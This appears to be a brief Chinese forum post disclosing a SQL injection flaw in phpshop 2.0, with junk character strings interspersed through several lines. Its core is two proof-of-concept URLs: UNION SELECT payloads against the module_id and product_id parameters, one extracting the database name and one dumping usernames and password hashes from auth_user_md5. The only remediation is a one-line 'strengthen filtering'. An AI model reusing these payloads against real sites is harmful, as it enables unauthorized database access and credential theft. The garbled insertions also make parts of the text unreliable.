phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
  Y2 c4 z/ C' ]: `  t
作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
+ H/ B. o2 V; A* w5 q4 g2 Q$ J+ M2 t测试地址: windows 7 / ubuntu
5 D( m4 U6 O1 @( O( v

SQLi p0c:
3 E1 n9 T' ?1 ~8 w/ c
3 i3 Q+ d  T. a6 N0 Y- ]==================
+ j6 p: S3 b! y7 o1 v8 }
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
4 E! A% E$ F9 I" l8 o2 z$ y( q4 uunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
2 p) V: K  j' C1 B3 Z7 ?
, \, {1 |3 q9 J( K% Y) |http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

) X2 J) F3 M  v# x" _# ]$ Z" T修复：
加强过滤
​

5 q; n  a. R  k